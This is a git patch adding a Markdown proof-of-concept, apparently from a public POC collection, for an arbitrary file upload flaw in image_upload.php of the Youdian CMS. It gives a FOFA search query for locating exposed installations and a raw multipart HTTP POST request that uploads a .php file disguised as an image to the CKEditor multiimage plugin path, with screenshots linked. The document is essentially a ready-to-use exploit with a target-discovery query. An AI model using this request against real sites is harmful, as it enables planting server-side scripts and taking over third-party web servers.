From 1958aa640d497376eb16cf6d1d4c4f0b4445a47d Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 15 Mar 2024 08:59:43 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=8F=8B=E7=82=B9=E5=BB=BA=E7=AB=99?= =?UTF-8?q?=E7=B3=BB=E7=BB=9Fimage=5Fupload.php=E5=AD=98=E5=9C=A8=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...建站系统image_upload.php存在文件上传漏洞.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 友点建站系统image_upload.php存在文件上传漏洞.md diff --git a/友点建站系统image_upload.php存在文件上传漏洞.md b/友点建站系统image_upload.php存在文件上传漏洞.md new file mode 100644 index 0000000..2b59763 --- /dev/null +++ b/友点建站系统image_upload.php存在文件上传漏洞.md @@ -0,0 +1,27 @@ +## 友点建站系统image_upload.php存在文件上传漏洞 + + +## fofa +``` +app="友点建站-CMS" +``` + + +## poc +``` +POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1 +Host: 127.0.0.1 +Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Content-Length: 0 + +------WebKitFormBoundarydAPjrmyKewWuf59H +Content-Disposition: form-data; name="files"; filename="ceshi.php" +Content-Type: image/jpg + + +------WebKitFormBoundarydAPjrmyKewWuf59H-- +``` +![cc46175e2bc4984a6dacff9ec6771b37](https://github.com/wy876/POC/assets/139549762/498ea42c-e9d2-4600-b03e-f59c4f7cfd8d) + +![38fb48542afcd1995688e8d030f32750](https://github.com/wy876/POC/assets/139549762/022df476-917d-4ed1-b877-3e2aff0d8611)